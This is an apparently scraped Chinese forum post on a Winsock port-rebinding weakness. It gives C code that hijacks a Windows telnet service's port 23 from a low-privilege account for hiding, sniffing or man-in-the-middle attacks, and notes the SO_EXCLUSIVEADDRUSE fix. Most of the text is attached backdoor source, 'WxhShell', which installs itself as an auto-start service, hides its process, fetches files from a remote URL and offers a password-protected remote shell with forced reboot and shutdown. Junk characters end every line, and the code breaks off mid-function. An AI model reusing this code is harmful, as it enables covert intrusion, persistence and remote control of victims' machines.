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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uz@lz +  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1Ba.'~:  
F>ps& h  
  saddr.sin_family = AF_INET; i|N(= Z=  
A&`7 l5~X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q32GI,M%B  
D' `[y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DIWcX<s  
kYu"`_n}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 mU;\,96#  
 V/t-  
  这意味着什么?意味着可以进行如下的攻击: *?!A  
6D29s]h2  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 puK /;nns  
Ql9 )  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) cpQhg-LY|  
18JAca8Zs  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r(Y@;  
k7=mxXF  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3M[5_OK   
rlSflcK\\(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |c:xK{Ik  
~c|{PZ9U  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AUwIF/>F(]  
fHacVj J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4Dv42fO  
ILT.yxV  
  #include 5uD'Kd$H  
  #include J-Wphc!m  
  #include FQw@ @  
  #include    !;.nL-NQ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xmwH~UWp  
  int main() IfpFsq:  
  { K Z Q `  
  WORD wVersionRequested; ?OdJ t  
  DWORD ret; "kkZK=}Nv  
  WSADATA wsaData; ym6gj#2m  
  BOOL val; uDG#L6  
  SOCKADDR_IN saddr; wIK&EGQ  
  SOCKADDR_IN scaddr; [ FNA:  
  int err; [(/IV+  
  SOCKET s; A!p70km2  
  SOCKET sc; Y?V>%eBu  
  int caddsize; ]F1ZeAh5  
  HANDLE mt; >@St Kj  
  DWORD tid;   X] v.Yk=wu  
  wVersionRequested = MAKEWORD( 2, 2 ); k?ksv+e\  
  err = WSAStartup( wVersionRequested, &wsaData ); M UqV$#4@I  
  if ( err != 0 ) { (C!33s1  
  printf("error!WSAStartup failed!\n"); /@f3|L<1@V  
  return -1; ]z 5gC`E0  
  } Hv<jf38  
  saddr.sin_family = AF_INET; 5Y(f7,JX  
   qY%{c-aMA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TkV*^j5  
e"6!0Py#*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); \&5t@sC  
  saddr.sin_port = htons(23); CDgu`jj%]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %yP*Vp,W  
  { ^FN(wvqb8  
  printf("error!socket failed!\n"); ypsT: uLT  
  return -1; #ZPy&GIr  
  } or..e  
  val = TRUE; \k)(:[^FY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |csR"DOqz  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mdPEF)-  
  { PV/S zfvIq  
  printf("error!setsockopt failed!\n"); mqb6MnK -  
  return -1; e$y VV#  
  } ~$Pz`amT|  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; FT.;}!"l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Oj^qh+r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J,]U"+;H  
5<KY}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) rg{|/ ;imT  
  { |HMpVT-;j  
  ret=GetLastError(); -A17tC20J1  
  printf("error!bind failed!\n"); cG~-OHU  
  return -1; H}B%OFI\+  
  } [_?dpaTt  
  listen(s,2); q/HwcX+[b  
  while(1) mo- Y %  
  { iLD:}yK  
  caddsize = sizeof(scaddr); &ZUV=q%g9n  
  //接受连接请求 & !I$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); and)>$)|  
  if(sc!=INVALID_SOCKET) B M$+r(#t  
  { `t~Zkb4>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J)leRR&  
  if(mt==NULL) )Y}8)/Pud  
  { GV T[)jS  
  printf("Thread Creat Failed!\n"); {@w!kl~8  
  break; +nT(>RJR  
  } O5eTkKUc  
  } b 6B5  
  CloseHandle(mt); I?!7]Sn$  
  } zVU{jmS  
  closesocket(s); 1y($h<  
  WSACleanup(); /vLdm-4  
  return 0; N9A#@c0O  
  }   0xQ="aXE  
  DWORD WINAPI ClientThread(LPVOID lpParam) t\%gP@?  
  { /"%(i#<)xs  
  SOCKET ss = (SOCKET)lpParam; "`4V ^1  
  SOCKET sc; bI"_hvcFp  
  unsigned char buf[4096]; \tx4bV#  
  SOCKADDR_IN saddr; 3/q) %Z^=  
  long num; ).b,KSi  
  DWORD val; ~'<ca<Go|  
  DWORD ret; &?xZ Hr`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]1(G:h\  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   -*T<^G;rK  
  saddr.sin_family = AF_INET; d`+@ _)ea  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); n^2p jTkl  
  saddr.sin_port = htons(23); r1)@ 7Nt  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A%$ZB9#zQ  
  { P 4|p[V8  
  printf("error!socket failed!\n"); GnzKDDH '  
  return -1; ')mR87  
  } da/Tms`T  
  val = 100; yhpeP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) p\ }Ep  
  { vz-O2B_u  
  ret = GetLastError(); 2)zAX"#/  
  return -1; t+?m<h6w;l  
  } 3pF7} P  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kZ>Xl- LV  
  { $|V@3`0  
  ret = GetLastError(); ?\.aq p1B  
  return -1; /:OSql5K*<  
  } Z.D O 2=+=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M)JKe!0ad1  
  { $)O=3dNbo  
  printf("error!socket connect failed!\n"); :_f5(N*{5o  
  closesocket(sc); B3V;  
  closesocket(ss); ,'f^K!iA   
  return -1; t/57LjV  
  } @z-%:J/$  
  while(1) (q]_&%yW  
  { mhDC1lXF  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 G (o9*m1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Sb& $xWL  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 4fyds< f  
  num = recv(ss,buf,4096,0); y`|86` Y  
  if(num>0) j @HOU~x  
  send(sc,buf,num,0); +338z<'Z!  
  else if(num==0) miTySY6 ^  
  break; 7B)m/%>3s  
  num = recv(sc,buf,4096,0); 0lm7'H*~  
  if(num>0) qLYz-P'ik  
  send(ss,buf,num,0); ;LXwW(_6d  
  else if(num==0) p-Jp/*R5  
  break; 9z$fDs}.q  
  } Sr#\5UDS  
  closesocket(ss); [Ep%9(SgA'  
  closesocket(sc); D02(6|  
  return 0 ; G8t9Lx  
  } !w;oVPNg  
R0A|} Ee*  
psFY=^69o  
==========================================================  nLD1j  
z *FCd6X  
下边附上一个代码,,WXhSHELL aJ/}ID  
=} D9sT  
========================================================== R ~ZcTY[8  
("r\3Mvs  
#include "stdafx.h"  .V   
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#include <stdio.h> x=M%QFe  
#include <string.h> tSVWO] <  
#include <windows.h> K!,T.qA&=  
#include <winsock2.h> xk*&zAt  
#include <winsvc.h> |8q:sr_  
#include <urlmon.h> j"F?^0aR,Q  
?`lD|~  
#pragma comment (lib, "Ws2_32.lib") TKe\Bi  
#pragma comment (lib, "urlmon.lib") >'1 h  
L~+/LV  
#define MAX_USER   100 // 最大客户端连接数 .mbqsb]&Y  
#define BUF_SOCK   200 // sock buffer @u @~gEt  
#define KEY_BUFF   255 // 输入 buffer ZQk!Ia7  
M '#a.z%  
#define REBOOT     0   // 重启 TT@ U_^o  
#define SHUTDOWN   1   // 关机 _1,hO?TK  
xt&4]M V  
#define DEF_PORT   5000 // 监听端口 H[_i=X3-~  
 mPL0s  
#define REG_LEN     16   // 注册表键长度 >I@VHl O  
#define SVC_LEN     80   // NT服务名长度 ? Xl;>}zj  
gHo sPY[  
// 从dll定义API X`6"^ xme  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7 'q *(v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QdrZi.qKH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); smUSR4VK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /rIyW?& f  
lQM&q  
// wxhshell配置信息 sg8[TFX@Z  
struct WSCFG { hm*cGYV/  
  int ws_port;         // 监听端口 *\(MG|S  
  char ws_passstr[REG_LEN]; // 口令 ~ \]?5 nj  
  int ws_autoins;       // 安装标记, 1=yes 0=no l+a1`O  
  char ws_regname[REG_LEN]; // 注册表键名 -tZ~&1"  
  char ws_svcname[REG_LEN]; // 服务名 GoLK 95"]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @jxP3:s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rb!y(&>v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F )Iz:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @C|nc&E2s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Obf RwZh?q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w^"IR  
yAiO._U  
}; )dd1B>ej]  
lvsj4 cT  
// default Wxhshell configuration !-t,r%CG  
struct WSCFG wscfg={DEF_PORT, Vw|P;LLl`  
    "xuhuanlingzhe", M#_|WL~  
    1, F8S>Ld  
    "Wxhshell", f{.4# C'  
    "Wxhshell", q{ [!" ,  
            "WxhShell Service", ]|-sZ<?<i  
    "Wrsky Windows CmdShell Service", '451H3LC0  
    "Please Input Your Password: ", b'W.l1]<-  
  1, Q5^ #:uZ  
  "http://www.wrsky.com/wxhshell.exe", : eCeJ~&E  
  "Wxhshell.exe" Sv_Nb>  
    }; o "6 2~  
 W,|+Dl  
// 消息定义模块 FUarI5#fwF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h 8xcq#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {h=gnR-9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 84WX I#BH  
char *msg_ws_ext="\n\rExit."; >%ovL8F  
char *msg_ws_end="\n\rQuit."; c: r25  
char *msg_ws_boot="\n\rReboot..."; RfOJUz  
char *msg_ws_poff="\n\rShutdown..."; 6O <UW.  
char *msg_ws_down="\n\rSave to "; 1<Sg@  
f14^VTzP/#  
char *msg_ws_err="\n\rErr!"; aeISb83Y|  
char *msg_ws_ok="\n\rOK!"; }T0O~c{$i  
PY;tu#W!%  
char ExeFile[MAX_PATH]; Khb Ku0Z  
int nUser = 0; AhD C5ue=  
HANDLE handles[MAX_USER]; jU $G<G  
int OsIsNt; sH.=Faos  
_jc_(;KPF  
SERVICE_STATUS       serviceStatus; O%3Hp.|!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <PVwf`W.  
| UlG@Mn  
// 函数声明 o@BV&|  
int Install(void); !> =ybRe  
int Uninstall(void); 64mg:ed&  
int DownloadFile(char *sURL, SOCKET wsh); 8IA1@0n&  
int Boot(int flag); Cs_&BSs  
void HideProc(void); `% QvCAR  
int GetOsVer(void); 9b&|'BBW  
int Wxhshell(SOCKET wsl); P}]o$nWT  
void TalkWithClient(void *cs); xbBqR _ H_  
int CmdShell(SOCKET sock); cGiL9|k  
int StartFromService(void); *f3StX  
int StartWxhshell(LPSTR lpCmdLine); +J|H~`  
pB4Uc<e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @)BO`;*$fF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WR3,woo  
`sCn4-$8  
// 数据结构和表定义 |mP};&b  
SERVICE_TABLE_ENTRY DispatchTable[] = @AF<Xp{  
{ V^,eW!  
{wscfg.ws_svcname, NTServiceMain}, gfs;?vP  
{NULL, NULL} zGFD71=#  
}; Z6rhInIY  
MoE&)~0u&  
// 自我安装 (c>g7d<>n  
int Install(void) l2LLM{B  
{ p]%di8&;N  
  char svExeFile[MAX_PATH]; =C2sl;7~*  
  HKEY key; K Ax=C}9  
  strcpy(svExeFile,ExeFile); }b1FB<e]  
":_II[FPY  
// 如果是win9x系统,修改注册表设为自启动 IH;sVT $M  
if(!OsIsNt) { p"#\E0GM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %rMCiz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =KUmvV*\  
  RegCloseKey(key); a3>/B$pE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :{#O   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); odSPl{.>d  
  RegCloseKey(key); G0{Z@CvO'  
  return 0; T#H^ }`  
    } !uQT4< g  
  } ^3TNj  
} N(Ru/9!y"  
else { Lx wi"ndP  
?0_<u4  
// 如果是NT以上系统,安装为系统服务 !JDr58  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =w! ik9  
if (schSCManager!=0) ~x^y5[5{  
{ Wk<fNHg  
  SC_HANDLE schService = CreateService u0h%4f!X  
  ( Td'Mc-/  
  schSCManager, RbX9PF"|+  
  wscfg.ws_svcname, )"S%'myj  
  wscfg.ws_svcdisp, l[Z o,4*  
  SERVICE_ALL_ACCESS, R(d<PlZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *qwN9b/!  
  SERVICE_AUTO_START, Qz,2PO  
  SERVICE_ERROR_NORMAL, c1"wS*u  
  svExeFile, &h0LWPl  
  NULL, -;7xUNQ  
  NULL, "_q~S$i^  
  NULL,  SvT0%2  
  NULL, 1o`1W4Q  
  NULL Qds<j{2  
  ); rXi&8R[  
  if (schService!=0) [zx|3wWAX-  
  { l S)^8  
  CloseServiceHandle(schService); {+WBi(=W  
  CloseServiceHandle(schSCManager); w6i2>nu_O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pM?~AYWb  
  strcat(svExeFile,wscfg.ws_svcname); oI;ho6y)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V 9Qt;]mQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); byxlC?q7  
  RegCloseKey(key); t,?, T~#9  
  return 0; q< XFw-Pv  
    } \ZZ6r^99  
  } 5c` ;~  
  CloseServiceHandle(schSCManager); AH#mL  
} %):_  
} cuN9R G  
Z*m^K%qJ  
return 1; YGJ!!(~r  
} hSm?Z!+  
Hz.i$L0}  
// 自我卸载 ]SCHni_  
int Uninstall(void) ^eh.Iml'@  
{ 7GOBb|  
  HKEY key; -G.N  
]p`y  
if(!OsIsNt) { l8FJ\5'M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5vyg-'  
  RegDeleteValue(key,wscfg.ws_regname); A|\A|8=b  
  RegCloseKey(key); -qc'J<*^4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7|5kak>=  
  RegDeleteValue(key,wscfg.ws_regname); LDr?'M!D  
  RegCloseKey(key); e*2^  
  return 0; '2.ey33V  
  } AioW*`[WjA  
} ij$NTY=u  
} ubM1Qr  
else { ZaYiby@Ci  
g8Ex$,\,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .;4N:*hY  
if (schSCManager!=0) 9^XZ|`  
{ ^I!Z)/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :}e<  
  if (schService!=0) |M;Nq@bRv  
  { gw)4P tb!  
  if(DeleteService(schService)!=0) { ,D;8~l lM  
  CloseServiceHandle(schService); \}$|Uo$O  
  CloseServiceHandle(schSCManager); dPEDsG0$a  
  return 0; 5p#0K@`n/  
  } ESCN/ocV  
  CloseServiceHandle(schService); [c3!xHt5O  
  } 3Y)&[aj  
  CloseServiceHandle(schSCManager); }_nBegv  
} nK;d\DO  
} y|| n9  
9i\RdJv.  
return 1; 6\.g,>   
} kH eD(Ea  
j2D!=PK;  
// 从指定url下载文件 v WXo#  
int DownloadFile(char *sURL, SOCKET wsh) JTKS5 r7?  
{ 05 6K)E  
  HRESULT hr; f SkC>mWv  
char seps[]= "/"; i{fw?))+  
char *token; @@D/&}#F  
char *file; RnkV)ed(  
char myURL[MAX_PATH]; LA6XTgcu  
char myFILE[MAX_PATH]; ~rV$.:%va  
g$uiwqNA%  
strcpy(myURL,sURL); wO,qFY  
  token=strtok(myURL,seps); jWUrw  
  while(token!=NULL) 9K& $8aD  
  { ^UvL1+  
    file=token; 0XA\Ag\`G  
  token=strtok(NULL,seps); !f/K:CK|  
  }  vc: kY  
eQ'E`S_d  
GetCurrentDirectory(MAX_PATH,myFILE); MGF !ZZ\  
strcat(myFILE, "\\"); JPDxzp  
strcat(myFILE, file); lf( +]k30  
  send(wsh,myFILE,strlen(myFILE),0); wrkw,H  
send(wsh,"...",3,0); P'Y(f!%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u0wu\  
  if(hr==S_OK) l-XfUjJ  
return 0; Qr R+3kxM  
else %bP+P(vZ  
return 1; &b@_ah+f  
K>'4^W5d,  
} xQZOGq  
%1{S{FB  
// 系统电源模块 q?j7bp]  
int Boot(int flag) e)H FI|>  
{ RhJ3>DL  
  HANDLE hToken; &3iI\s[  
  TOKEN_PRIVILEGES tkp; W>' DQB  
XI Mh<  
  if(OsIsNt) { cUug}/!I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !\'w>y7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iYLg[J"  
    tkp.PrivilegeCount = 1; c^_+<C-F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;ab[YMkH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5i6Ji(  
if(flag==REBOOT) { OkRb3}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2po8n _  
  return 0; EZWWv L  
} PlCw,=K8f  
else { 2_Lu 0Yrg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Lj /^cx  
  return 0; W(qK?"s2  
} -d?<t}a  
  } ` &=%p|  
  else { D Z~036  
if(flag==REBOOT) { (Tq)!h35B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A6KP(@   
  return 0; "'DPb%o  
} @w33u^  
else { p!E*A NwX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l%V+] skS  
  return 0; lGet)/w;c  
} )E",)}Nh  
} {U9{*e$=  
[Qr_0O  
return 1;  =glG |  
} klmbbLce  
^Cp;#|g,  
// win9x进程隐藏模块 <DqFfrpc  
void HideProc(void) zq5N@d F  
{ 6oWFjeZ0  
|s#,^SJ0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )[99SM   
  if ( hKernel != NULL ) Z2;~{$&M+  
  { FS7D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >uJu!+#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); UJS vtD{g  
    FreeLibrary(hKernel); 8I*yS#  
  } &gh>'z;`r  
ht\_YiDg3  
return; =m|<~t  
} 2n"-~'3\  
dM"5obEb  
// 获取操作系统版本 YxnZ0MY  
int GetOsVer(void) DW,Z})9  
{ s&%r?  
  OSVERSIONINFO winfo; k-4z2qB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;Zf7|i`R3  
  GetVersionEx(&winfo); <'T DOYb  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9AWP` ~l`  
  return 1; U*EBH  
  else fG?a"6~  
  return 0; uKY1AC__  
} $U&p&pgH=W  
= g%<xCp  
// 客户端句柄模块 x[&)\[t  
int Wxhshell(SOCKET wsl) -f'&JwE0=  
{ MO1H?U hx  
  SOCKET wsh; ]:#W$9,WL  
  struct sockaddr_in client; &i805,lx  
  DWORD myID; ?J|  
nBd(p Oe  
  while(nUser<MAX_USER) >TGc0 z+  
{ k/U rz*O  
  int nSize=sizeof(client); FrRUAoF O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A(XX2f!i  
  if(wsh==INVALID_SOCKET) return 1; B_@p@6z  
\^cXmyQ<%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !(S.7#-r  
if(handles[nUser]==0) oh:.iL}j  
  closesocket(wsh); Nbf >Y  
else v/7^v}[<  
  nUser++; J6 A3Hrg  
  } y2B'0l  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s=R^2;^  
OSJL,F,  
  return 0; Cpn!}!Gnf  
} B90fUK2g  
{\h:k\k  
// 关闭 socket &`'@}o>2  
void CloseIt(SOCKET wsh) ?wIw$p>wT  
{ bvl!^xO]  
closesocket(wsh); )|]*"yf:E  
nUser--; iII%!f?{[  
ExitThread(0); Qdy/KL1]  
} F$s:\ N  
&j"_hFhv  
// 客户端请求句柄 1O2V!?P  
void TalkWithClient(void *cs) *mw *z|-^V  
{ M^n^wz  
V_4=0(  
  SOCKET wsh=(SOCKET)cs; MHCwjo"  
  char pwd[SVC_LEN]; CQ{pv3)  
  char cmd[KEY_BUFF]; /BS yanro  
char chr[1]; M3fTU CR  
int i,j; ] < ;y_  
Nc^:v/(P  
  while (nUser < MAX_USER) { ziQ&M\  
xd`\Ai  
if(wscfg.ws_passstr) { V>4v6)N  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Kciz^)'Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VTO92Eo  
  //ZeroMemory(pwd,KEY_BUFF);  bIuOB|  
      i=0; ?%T]V+40  
  while(i<SVC_LEN) { E]pD p /D  
MMQ\V(C  
  // 设置超时 0Y!~xyg/  
  fd_set FdRead; I#(?xHx  
  struct timeval TimeOut; K:$GmV9o  
  FD_ZERO(&FdRead); 3my_Gp  
  FD_SET(wsh,&FdRead); A*kN I  
  TimeOut.tv_sec=8; ,H/BW`rL]#  
  TimeOut.tv_usec=0; N.V5>2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $%1oZ{&M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T'5MO\  
+^$E)Ol  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *b`1+~p_2  
  pwd=chr[0]; &<(&u`S  
  if(chr[0]==0xd || chr[0]==0xa) { 'qoaMJxN`  
  pwd=0; <I{Yyl^  
  break; 1#XZVp;M  
  } ddlF4L_  
  i++; j 9f QV  
    } "i%=QON`  
\ 5#eBJ  
  // 如果是非法用户,关闭 socket IRsyy\[kp8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cOdgBi  
} f5*hOzKG6  
^HWa owy=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .p78 \T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hr(%y&0  
Dyj>dh-  
while(1) { +@+*sVb  
k P=~L=cK  
  ZeroMemory(cmd,KEY_BUFF); `cFNO:  
g9F?j  
      // 自动支持客户端 telnet标准   iG{xDj{CKv  
  j=0; wYd{X 8$  
  while(j<KEY_BUFF) { xeRoif\4c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SM.KM_%K  
  cmd[j]=chr[0]; L}t P_ *  
  if(chr[0]==0xa || chr[0]==0xd) { I9sQPa  
  cmd[j]=0; .bNG:y>  
  break; =GC,1WVEqV  
  } :f0#4'f  
  j++; ' $"RQ=  
    } 5C5OLAl v  
!wo  
  // 下载文件 50Ov>(f@7  
  if(strstr(cmd,"http://")) { C|S~>4`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `>HrO}x^  
  if(DownloadFile(cmd,wsh)) kq> I?wg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1MG("R  
  else 3#{Al[jq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5>fAO =u!Q  
  } tf>"fU\P  
  else { 55zy]|F"  
? RI D4xu!  
    switch(cmd[0]) { Ime"}*9  
  PebyH"M(  
  // 帮助 ~Vf A  
  case '?': { w u0q.]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rouaT  
    break; $nNCBC=  
  } O-n JuZJgX  
  // 安装 !{b4+!@p  
  case 'i': { G^le91$  
    if(Install()) G54`{V4&s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |+Tq[5&R  
    else ?:i,%]zxC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lPg?Fk7AP  
    break; -o@L"C>   
    } Cr YPcvd6  
  // 卸载 && b;Wr  
  case 'r': { :c9 H2  
    if(Uninstall()) X?'pcYSL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]3L/8]:  
    else M AL;XcRR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `ix&j8E22w  
    break; n]jw!;  
    } z2 mjm  
  // 显示 wxhshell 所在路径 1H8/b D  
  case 'p': { 1/J6<FVq  
    char svExeFile[MAX_PATH]; pL2{zW`FDh  
    strcpy(svExeFile,"\n\r"); c'wU$xt.w  
      strcat(svExeFile,ExeFile); "-Wb[*U;  
        send(wsh,svExeFile,strlen(svExeFile),0); f7&9IW`7F^  
    break; =OFx4#6a  
    } <sls1,  
  // 重启 0CK3jdZ+X  
  case 'b': { @iN"]GFjS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -]Q\G  
    if(Boot(REBOOT)) YRU95K [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H'&[kgnQ@  
    else { /25Ay  
    closesocket(wsh); s133N?  
    ExitThread(0); 0xfF  
    } 7\yh<?`V8  
    break; v4F+^0?  
    } P7$/yBI U  
  // 关机 dd *p_4;  
  case 'd': { $4BvDZDk`B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x7/";L>  
    if(Boot(SHUTDOWN)) eU8p;ajW!L  
